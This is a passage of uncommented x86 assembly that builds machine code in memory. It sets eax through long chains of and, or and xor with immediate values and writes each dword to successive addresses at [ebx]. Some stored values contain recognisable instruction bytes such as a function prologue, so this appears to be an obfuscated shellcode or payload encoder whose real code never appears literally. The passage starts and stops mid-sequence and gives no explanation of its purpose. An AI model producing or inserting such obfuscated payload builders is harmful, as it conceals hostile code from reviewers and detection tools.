or eax, 0x298
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11ecb02c
and eax, 0x1e00c80
or eax, 0x8000410b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57916d3d
and eax, 0x6000a0
or eax, 0x20949
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e2eb21e
and eax, 0x7f3bb1c
and eax, 0
or eax, 0xe04d8900
mov dword [ebx], eax
add ebx, edx
and eax, 0x2695a53c
or eax, 0x16a5abe6
and eax, 0x2800182
or eax, 0x1585409
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9b9bb90
and eax, 0x1e011
or eax, 0x55880044
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b9f355c
and eax, 0xb09e158
or eax, 0x80000a80
mov dword [ebx], eax
add ebx, edx
or eax, 0x41483c93
and eax, 0x48bc650d
and eax, 0x40004001
or eax, 0x80839844
mov dword [ebx], eax
add ebx, edx
or eax, 0x343058a7
and eax, 0x2171794e
and eax, 0x10800
or eax, 0xd8448101
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c297dae
and eax, 0x18000900
or eax, 0x23d8448b
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ea7ae3a
and eax, 0xd0fc009
or eax, 0x80000044
mov dword [ebx], eax
add ebx, edx
or eax, 0x283086fb
and eax, 0x5a
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x768bd6dc
and eax, 0x2805582
or eax, 0x81740009
mov dword [ebx], eax
add ebx, edx
and eax, 0x34f6fb89
xor eax, 0xaf9e689
and eax, 0x90100
or eax, 0x558000c2
mov dword [ebx], eax
add ebx, edx
and eax, 0x67cfd661
and eax, 0x44010040
or eax, 0x90448bb4
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ca77c0a
xor eax, 0x4ddbfc17
and eax, 0x81000081
or eax, 0x801e802
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ccb298a
and eax, 0x4d8bc001
or eax, 0x1444
mov dword [ebx], eax
add ebx, edx
and eax, 0x716e3418
and eax, 0x67abbcf1
and eax, 0x1000000
or eax, 0xc183b4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2bc83d61
and eax, 0xa000c81
or eax, 0x81b44108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x762eefbf
and eax, 0x550aa014
or eax, 0x215c41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3261a479
and eax, 0x6040182c
or eax, 0x98152390
mov dword [ebx], eax
add ebx, edx
or eax, 0x32d3d9a8
or eax, 0x4137e4d2
and eax, 0x4183207c
or eax, 0x4080000
mov dword [ebx], eax
add ebx, edx
or eax, 0x60ec74ee
xor eax, 0x69eadad2
and eax, 0x52224
or eax, 0xf0400190
mov dword [ebx], eax
add ebx, edx
and eax, 0x37efe7e
and eax, 0x34
or eax, 0x4d8b1841
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e493409
and eax, 0x7849384c
or eax, 0x80040380
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5dfb4cd8
and eax, 0x5821014
or eax, 0x50090068
mov dword [ebx], eax
add ebx, edx
and eax, 0x9fb7625
and eax, 0xb03f72a
and eax, 0x11000
or eax, 0xe0542bd4
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ca8ce25
and eax, 0x44890874
or eax, 0x1020008
mov dword [ebx], eax
add ebx, edx
and eax, 0x7eca0830
and eax, 0x40000810
or eax, 0xa84533c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x221e77a3
and eax, 0x480b4871
or eax, 0x580320c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a700db4
and eax, 0x1e903c0
or eax, 0x8024
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f6dfcb3
and eax, 0xa844d01
or eax, 0x81600088
mov dword [ebx], eax
add ebx, edx
and eax, 0x72464e59
xor eax, 0x7b1ae70f
and eax, 0x5102a004
or eax, 0x4214451
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d9c48ad
and eax, 0x90864e8
or eax, 0x82001100
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfeffe8d
and eax, 0x4238845
or eax, 0x41184000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e15d77c
and eax, 0x14044
or eax, 0x8b603db8
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c240105
or eax, 0x3624e520
and eax, 0xc20a404
or eax, 0x41031049
mov dword [ebx], eax
add ebx, edx
and eax, 0x29d5ba99
and eax, 0x8013000
or eax, 0xc44c0bb0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f63c3c3
or eax, 0x2dec8881
and eax, 0x558b4970
or eax, 0x40c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x353d3171
and eax, 0x474f9a48
and eax, 0x40041800
or eax, 0xb45123e4
mov dword [ebx], eax
add ebx, edx
and eax, 0x3142c568
and eax, 0x60
or eax, 0x458b081d
mov dword [ebx], eax
add ebx, edx
or eax, 0x22920a12
and eax, 0x3bc92f55
and eax, 0x10a10
or eax, 0xc84401a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44dffe60
xor eax, 0xfb2efc3
and eax, 0x1081811
or eax, 0x4c832564
mov dword [ebx], eax
add ebx, edx
or eax, 0x677c275
and eax, 0x1c18354
or eax, 0x88
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7199a6d0
or eax, 0x175ff360
and eax, 0x35c4508
or eax, 0x88800881
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2be43545
and eax, 0x385844
or eax, 0x55038411
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d87ae18
and eax, 0x102f1bae
and eax, 0x2c100c
or eax, 0x8b006ce0
mov dword [ebx], eax
add ebx, edx
and eax, 0x83bfc39
xor eax, 0x2def9684
and eax, 0x503c004
or eax, 0x40281041
mov dword [ebx], eax
add ebx, edx
and eax, 0xc075a55
or eax, 0x55b16c10
and eax, 0x10810854
or eax, 0x280481a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x249ec6fe
and eax, 0x89fcffe
or eax, 0x83603001
mov dword [ebx], eax
add ebx, edx
and eax, 0x993a7ce
or eax, 0x79c99bb
and eax, 0xd89ac4d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x11c808da
xor eax, 0x55a3b737
and eax, 0xc86a1b20
or eax, 0x3795e414
mov dword [ebx], eax
add ebx, edx
or eax, 0x4973e27b
and eax, 0x83fc550b
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x63e02b51
or eax, 0x6f88e20
and eax, 0x5880100
or eax, 0x500100c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x46e90b4b
or eax, 0x76ac980f
and eax, 0x30858bcc
or eax, 0x8000030
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b793194
or eax, 0x57be453
and eax, 0x397be5d7
or eax, 0x2841a28
mov dword [ebx], eax
add ebx, edx
or eax, 0x383b3852
and eax, 0x5e02831e
and eax, 0x1a020004
or eax, 0xe5fd3481
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61eb4cb2
and eax, 0x8a007837
or eax, 0x10905c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x19ef71ea
and eax, 0x1013048
or eax, 0xc0828c05
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d7b3d7d
or eax, 0x6c97c04
and eax, 0x9c498900
or eax, 0x20040001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x278e9ac6
and eax, 0x22c54891
and eax, 0x2c00081
or eax, 0x3138550a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x610025f0
and eax, 0x50386051
or eax, 0x5038004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3dc4a4ae
and eax, 0x753137e4
and eax, 0x104c0
or eax, 0x8b0a7904
mov dword [ebx], eax
add ebx, edx
and eax, 0x27c1a86f
and eax, 0x1012044
or eax, 0x4402c401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x237492aa
and eax, 0x244532cc
or eax, 0x90000910
mov dword [ebx], eax
add ebx, edx
or eax, 0x22e2a637
and eax, 0x483397c
or eax, 0x49080000
mov dword [ebx], eax
add ebx, edx
or eax, 0x31df841
and eax, 0x1d3f3dc5
and eax, 0x40d3100
or eax, 0xc04002b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x649c0302
and eax, 0x44892130
or eax, 0x11020844
mov dword [ebx], eax
add ebx, edx
or eax, 0x58af278d
and eax, 0x6365d160
and eax, 0x50160
or eax, 0x30908894
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37bc8f9a
xor eax, 0x21728b8
and eax, 0x13e2ed6
or eax, 0x8ac1d129
mov dword [ebx], eax
add ebx, edx
or eax, 0x1797929e
or eax, 0x28952a
and eax, 0x8589b045
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48c3263b
and eax, 0xcd4a962c
or eax, 0x32b56900
mov dword [ebx], eax
add ebx, edx
or eax, 0x4565dcac
and eax, 0x83b04d88
or eax, 3
mov dword [ebx], eax
add ebx, edx
and eax, 0x55043fa6
and eax, 0x1000180
or eax, 0x4c890069
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd5acd0c
or eax, 0x7510cc32
and eax, 0x309188b0
or eax, 0x40300
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ca65701
and eax, 0x38b7dfb1
or eax, 0x348204e
mov dword [ebx], eax
add ebx, edx
or eax, 0x41af5bb4
or eax, 0x51801082
and eax, 0x7bff2c95
or eax, 0x84000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x448f4e6d
or eax, 0x2ed5d10
and eax, 0x8b087cf8
or eax, 7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f824e93
or eax, 0x108be6db
and eax, 0x40bd045
or eax, 0x41300000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a61a0d8
and eax, 0x210040
or eax, 0x8b1c7d94
mov dword [ebx], eax
add ebx, edx
or eax, 0x526e8103
and eax, 0x493bd045
or eax, 0x4000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ae9d8a4
or eax, 0x3ffa7c32
and eax, 0x7097c34
or eax, 0xc00001c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x748548ed
or eax, 0xebbf170
and eax, 0x19c45
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0xf819d7b
and eax, 0x7810000
or eax, 0x6a0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x30569378
and eax, 0x41e1e1a7
and eax, 0
or eax, 0x9c45c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x34b0f1b7
and eax, 0x53e2bce
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x644ef190
and eax, 0x4502f010
or eax, 0x10210445
mov dword [ebx], eax
add ebx, edx
and eax, 0x51e5501a
and eax, 0x1005010
or eax, 0x8a14258c
mov dword [ebx], eax
add ebx, edx
and eax, 0x33844415
and eax, 0x4404
or eax, 0xc083a841
mov dword [ebx], eax
add ebx, edx
or eax, 0x426b9539
and eax, 0xc0418901
or eax, 0x2c040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ab3506f
and eax, 0x32e4490b
or eax, 0x1080480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6013bbfb
and eax, 0x7e16a4da
and eax, 0x4012a040
or eax, 0xd29500d
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f4080ac
and eax, 0x1c65dfc7
and eax, 0x8000004
or eax, 0x83097de0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23ac7a23
and eax, 0xa8810445
or eax, 0x4202c010
mov dword [ebx], eax
add ebx, edx
or eax, 0x468112f7
and eax, 0x6d2a9849
and eax, 0x44008001
or eax, 0x80550900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22abf73a
and eax, 0x82d4440b
or eax, 0x1000180
mov dword [ebx], eax
add ebx, edx
and eax, 0x137f469a
and eax, 0x1000088
or eax, 0x44890160
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b4fcf9a
and eax, 0x40010180
or eax, 0xbe90e854
mov dword [ebx], eax
add ebx, edx
xor eax, 0x777e245b
or eax, 0x2b81f187
and eax, 0x88a8fd8f
or eax, 0x50100270
mov dword [ebx], eax
add ebx, edx
and eax, 0x77fee854
or eax, 0x369839aa
and eax, 0x6000001e
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4acf12fc
and eax, 0x80
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x434fc046
and eax, 0x34c4083
or eax, 0x80b00d08
mov dword [ebx], eax
add ebx, edx
or eax, 0x79e18840
xor eax, 0x6b08ee01
and eax, 0x8101c0
or eax, 0x4d080001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24986e84
or eax, 0x3901e35e
and eax, 0x78118b5c
or eax, 0x844400a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34e5a44b
and eax, 0x48800533
or eax, 0x34485008
mov dword [ebx], eax
add ebx, edx
and eax, 0x2cfc14e9
xor eax, 0x64e7df98
and eax, 0x48058b21
or eax, 0x90400008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x795d2844
xor eax, 0x54b7bc25
and eax, 0x81010800
or eax, 0x800e083
mov dword [ebx], eax
add ebx, edx
and eax, 0x670eea1
or eax, 0x28060a4e
and eax, 0x802c845
or eax, 0x45891000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45e97f8b
and eax, 0x84023c8
or eax, 0xd00d1830
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66bd7913
and eax, 0x14800068
or eax, 0x410b1814
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d680952
or eax, 0x7e686628
and eax, 0x34413304
or eax, 0x801408d0
mov dword [ebx], eax
add ebx, edx
and eax, 0x46046928
xor eax, 0x6ae6da2d
and eax, 0x4482102c
or eax, 0x1090050
mov dword [ebx], eax
add ebx, edx
and eax, 0x4da86298
xor eax, 0x3f13d57b
and eax, 0x40011160
or eax, 0x84442a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7221401e
or eax, 0xb663b7f
and eax, 0xd02087c
or eax, 0x40890000
mov dword [ebx], eax
add ebx, edx
and eax, 0x292bf93e
and eax, 0x8090830
or eax, 0xc4443380
mov dword [ebx], eax
add ebx, edx
or eax, 0x13ccedc7
and eax, 0x3713a697
and eax, 0x15012215
or eax, 0x408a0068
mov dword [ebx], eax
add ebx, edx
xor eax, 0xbe6f3e7
and eax, 0x408190
or eax, 0x1820224
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b79c4f4
xor eax, 0x245f75a8
and eax, 0xba41008
or eax, 0x80104581
mov dword [ebx], eax
add ebx, edx
or eax, 0x16d7adfc
or eax, 0x21f1f747
and eax, 0x533dc45
or eax, 0x40080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76482b73
and eax, 0x3117534
or eax, 0x88000880
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e099139
and eax, 0x8010000
or eax, 0x452aac4d
mov dword [ebx], eax
add ebx, edx
and eax, 0x793dd43f
or eax, 0x10c95ca9
and eax, 0x90954a4
or eax, 0x82002050
mov dword [ebx], eax
add ebx, edx
and eax, 0x340a7f27
and eax, 0x4004
or eax, 0xea838051
mov dword [ebx], eax
add ebx, edx
or eax, 0x51d1a78f
and eax, 0xc0518101
or eax, 0x40800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1dadebfe
or eax, 0x1d3068c6
and eax, 0xdf0408b
or eax, 0x2040500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51c68e2e
xor eax, 0x5747c3
and eax, 0x4400426
or eax, 0x81904189
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f504652
or eax, 0x1e74fb86
and eax, 0x8a1071c0
or eax, 0x1010400
mov dword [ebx], eax
add ebx, edx
or eax, 0x4462d999
and eax, 0x2435c29b
and eax, 0x18009
or eax, 0xe9823c44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7004cb77
and eax, 0x98050100
or eax, 0x24488801
mov dword [ebx], eax
add ebx, edx
or eax, 0x414698ca
and eax, 0x90c118b
or eax, 0x2b04400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d6cc2f9
and eax, 0x509050
or eax, 0x9246005
mov dword [ebx], eax
add ebx, edx
or eax, 0x22592d6c
and eax, 0x34c4509
or eax, 0x80800082
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bf4802e
and eax, 0x1800000
or eax, 0x440901c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a681b4
xor eax, 0x24d6f074
and eax, 0x41610180
or eax, 0x1c848a4c
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c5ab5
and eax, 0x80
or eax, 0xec8b5543
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fe10b28
or eax, 0x2754f8c2
and eax, 0x4754e882
or eax, 0x80000401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77366059
and eax, 0x228840
or eax, 0x41957005
mov dword [ebx], eax
add ebx, edx
and eax, 0x3dd25c00
and eax, 0x1820000
or eax, 0x44450001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x374c7891
and eax, 0xa0890
or eax, 0x1400164
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c954aa0
and eax, 0x70454300
or eax, 0x80008400
mov dword [ebx], eax
add ebx, edx
and eax, 0x55357e1e
and eax, 0x10600
or eax, 0x1029
mov dword [ebx], eax
add ebx, edx
and eax, 0x492ad7d6
and eax, 0x2d28c76
and eax, 0x400
or eax, 0xecec41c7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43a846b6
and eax, 0x87000041
or eax, 0x40000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15133874
and eax, 0x42132805
or eax, 0x2188c040
mov dword [ebx], eax
add ebx, edx
or eax, 0x1dbf9038
or eax, 0x6bd92d71
and eax, 0x45c70000
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1633878a
and eax, 0x20000
or eax, 0x50aee4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f8936b2
and eax, 0x60418000
or eax, 0x80044700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1114e656
or eax, 0x444148a4
and eax, 0x40e4
or eax, 0x8201
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe1e3bac
and eax, 0xe1c4141
or eax, 0xe1c00486
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c2f941f
or eax, 0xb3dc625
and eax, 0x7000021
or eax, 0xc0000140
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fc8d10d
xor eax, 0x180bd141
and eax, 0x5403d040
or eax, 0x20e00805
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e23d862
or eax, 0x5ffd2a77
and eax, 0x45c70000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fea2dc1
and eax, 0xcc24c0
or eax, 0x108014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2302ef6e
and eax, 0x444300
or eax, 0xd0018400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33262445
or eax, 0x1b9b0988
and eax, 0x14385
or eax, 0x1432
mov dword [ebx], eax
add ebx, edx
xor eax, 0x333641cd
and eax, 0x20040442
or eax, 0xc4c84185
mov dword [ebx], eax
add ebx, edx
or eax, 0x78535c18
and eax, 0xc4000052
or eax, 0x3000020
mov dword [ebx], eax
add ebx, edx
or eax, 0x34d7c93a
and eax, 0x4dda3e41
and eax, 0x5420840
or eax, 0x982cc005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x99c9f4f
and eax, 0x5bd7497e
and eax, 0xc20000
or eax, 0x45050000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b63bdc4
and eax, 0x5f3a5377
and eax, 0x20000
or eax, 0x4454c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c4ab6d4
and eax, 0x51aa279a
and eax, 0x600
or eax, 0xc045c100
mov dword [ebx], eax
add ebx, edx
or eax, 0x765ba8f9
and eax, 0xad40
or eax, 0x1002
mov dword [ebx], eax
add ebx, edx
and eax, 0x60b3db35
xor eax, 0x478dedaa
and eax, 0x68c4482
or eax, 0x80700145
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3739ad9f
and eax, 0x81000058
or eax, 0x46000023
mov dword [ebx], eax
add ebx, edx
and eax, 0x3edeb810
and eax, 0x6000000
or eax, 0xe8e3bc45
mov dword [ebx], eax
add ebx, edx
and eax, 0x3597aeb6
xor eax, 0x6b90b2f8
and eax, 0x45030000
or eax, 0xc40000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x998549f
and eax, 0x5a0098
or eax, 0x208220
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55414a15
and eax, 0x1401c000
or eax, 0xa0440700
mov dword [ebx], eax
add ebx, edx
and eax, 0x76391d50
and eax, 0x10100
or eax, 0x78bd
mov dword [ebx], eax
add ebx, edx
and eax, 0x55f3037c
xor eax, 0x4cdb127
and eax, 0x800003
or eax, 0xeb3045c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x38deb8c6
or eax, 0x4f1ebb3d
and eax, 0x4700001c
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x112bfa5d
xor eax, 0x24a29c60
and eax, 0x22812401
or eax, 0xd508844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e4c0577
xor eax, 0x1cda5df8
and eax, 0x45030000
or eax, 0x880000
mov dword [ebx], eax
add ebx, edx
or eax, 0x43aec941
or eax, 0x541de7a9
and eax, 0x1a883e8
or eax, 0x400014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41cdca55
xor eax, 0x1275e3e1
and eax, 0x2500008
or eax, 0x89ac4581
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb88dd0d
and eax, 0x5952a7a9
and eax, 0x400080
or eax, 0xcc835d65
mov dword [ebx], eax
add ebx, edx
and eax, 0x447f165d
and eax, 0x44400444
or eax, 0x888cc888
mov dword [ebx], eax
add ebx, edx
and eax, 0x6aa430c
and eax, 0x303459c4
and eax, 0x4004
or eax, 0xcccc8cc8
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a6d60b5
or eax, 0x486c9a66
and eax, 0x480850c4
or eax, 0xa4830508
mov dword [ebx], eax
add ebx, edx
and eax, 0x41970885
and eax, 0x40000080
or eax, 0x8750ec03
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52bd01b9
xor eax, 0xf567db
and eax, 0x81108841
or eax, 0x68e37404
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d3afddf
and eax, 0xfd09185
and eax, 0x4c00000
or eax, 0x41070000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5386c17a
xor eax, 0x12b6ca02
and eax, 0x208000
or eax, 0x4b21f8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f46b803
or eax, 0x1f9fc23b
and eax, 0x5405c300
or eax, 0xa0400400
mov dword [ebx], eax
add ebx, edx
or eax, 0x683dc4fc
and eax, 0x7a4
or eax, 0x3001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3166eb10
and eax, 0x21604485
or eax, 0x900142
mov dword [ebx], eax
add ebx, edx
or eax, 0x1dd1d844
and eax, 0x5000043
or eax, 0xc2000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x49838d49
and eax, 0x7494ba8d
and eax, 0x40000001
or eax, 0x245dec44
mov dword [ebx], eax
add ebx, edx
and eax, 0x6170a2fb
and eax, 0x40400000
or eax, 0x5870000
mov dword [ebx], eax
add ebx, edx
or eax, 0x8684749
and eax, 0x250048
or eax, 0x18a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b61bc42
or eax, 0x1427d450
and eax, 0x405c400
or eax, 0xe0400300
mov dword [ebx], eax
add ebx, edx
or eax, 0x45b80734
and eax, 0x4100
or eax, 0x204a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e3ddd26
and eax, 0x4102
or eax, 0xf0e004c5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d58b351
or eax, 0x3462c803
and eax, 0x85000097
or eax, 0x42000068
mov dword [ebx], eax
add ebx, edx
xor eax, 0x447b93b6
or eax, 0xdc51615
and eax, 0x824e9445
or eax, 0x60004800
mov dword [ebx], eax
add ebx, edx
and eax, 0x212d5301
xor eax, 0x1ed167aa
and eax, 0x4c50000
or eax, 0x41020000
mov dword [ebx], eax
add ebx, edx
or eax, 0xa4b7c77
or eax, 0x3639da32
and eax, 0xc05450
or eax, 0x88
mov dword [ebx], eax
add ebx, edx
and eax, 0x70aeb0db
xor eax, 0x8b61f19
and eax, 0x40700
or eax, 0xd441c000
mov dword [ebx], eax
add ebx, edx
or eax, 0x25c445dc
and eax, 0x15fa48f3
and eax, 0x40
or eax, 0xb62e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d9746e9
and eax, 0x2d904087
or eax, 0x2400540
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fb8a858
xor eax, 0x661248ed
and eax, 0x6000030
or eax, 0xc100008c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c1dfc1c
and eax, 0x180ccc00
or eax, 0x20220045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fa9bc7f
and eax, 0x5870000
or eax, 0x40400001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x754f0099
and eax, 0x88
or eax, 0x1060e40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44940cb3
and eax, 0x7b404fef
and eax, 0x40000200
or eax, 0x8445c500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56132c88
xor eax, 0x1e5b8469
and eax, 0x220
or eax, 0x8014
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcd781d3
or eax, 0x2669f73f
and eax, 0x28c045c7
or eax, 0x50000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74311805
or eax, 0x1272d298
and eax, 0x60000ca
or eax, 0xc1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1cafb273
xor eax, 0x7e958d69
and eax, 0xa4383c40
or eax, 0x848005
mov dword [ebx], eax
add ebx, edx
and eax, 0x606b791d
and eax, 0x3873453e
and eax, 0
or eax, 0x45c70000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d3f3ff1
and eax, 0x61eb85c6
and eax, 0x1090480
or eax, 0x44838
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f0a29e0
and eax, 0
or eax, 0xb445c700
mov dword [ebx], eax
add ebx, edx
or eax, 0x332ac666
or eax, 0x294154e7
and eax, 0x1607
or eax, 0x810
mov dword [ebx], eax
add ebx, edx
or eax, 0x72e16d6e
and eax, 0x40a04547
or eax, 0x80100080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2701aa8
and eax, 0x2fed808b
and eax, 0x200000b
or eax, 0x89000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c96de62
and eax, 0x6c6658d5
and eax, 0xc0258c1
or eax, 0xc0c10524
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77be2fa2
xor eax, 0x6baec96c
and eax, 0xc0c08808
or eax, 0xc0c44c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x481d12bb
and eax, 0x18d0d2fe
and eax, 0x8c0c0cc
or eax, 0xc40c0c00
mov dword [ebx], eax
add ebx, edx
or eax, 0x497fa539
and eax, 0xcc8b45cc
or eax, 0x20001000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x395a08ef
and eax, 0x1504c01
or eax, 0x2ca080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c05e2a4
and eax, 0x45410000
or eax, 0x860000
mov dword [ebx], eax
add ebx, edx
or eax, 0x113dafb2
and eax, 0x2a2e185b
and eax, 0x80810
or eax, 0x15077e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1918b645
and eax, 0x600
or eax, 0xd845c100
mov dword [ebx], eax
add ebx, edx
and eax, 0x625b6548
xor eax, 0x2d419532
and eax, 0x1020
or eax, 0x10e0c
mov dword [ebx], eax
add ebx, edx
and eax, 0x283482ab
or eax, 0x60da1a19
and eax, 0xd80001
or eax, 0x122045c6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a0ffdb2
and eax, 0x61
or eax, 0xc7000102
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e224272
and eax, 0x40
or eax, 0xd081c005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x399e23a4
xor eax, 0x423bd4dd
and eax, 0x1040000
or eax, 0x44c30000
mov dword [ebx], eax
add ebx, edx
or eax, 0x77328f88
and eax, 0x60980
or eax, 0x2050
mov dword [ebx], eax
add ebx, edx
or eax, 0x9a3ed64
or eax, 0x6594e3fb
and eax, 0x4805c700
or eax, 0x80400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b4c8277
and eax, 0x200
or eax, 0x593f
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c8e4e4e
xor eax, 0x34565988
and eax, 0x50c804c7
or eax, 0x7044100
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f1cfce7
and eax, 0x47000040
or eax, 0x80000018
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3672f11a
xor eax, 0x69e323c5
and eax, 0x10919005
or eax, 0x3662840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58607e9
and eax, 0x67ce5428
and eax, 0x4400000
or eax, 0x41870000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ed2dc97
and eax, 0x7bdcc596
and eax, 0x1004490
or eax, 0x2a3120
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2247e95d
xor eax, 0x40655b49
and eax, 0x4000c700
or eax, 0x84450000
mov dword [ebx], eax
add ebx, edx
and eax, 0x122cdb84
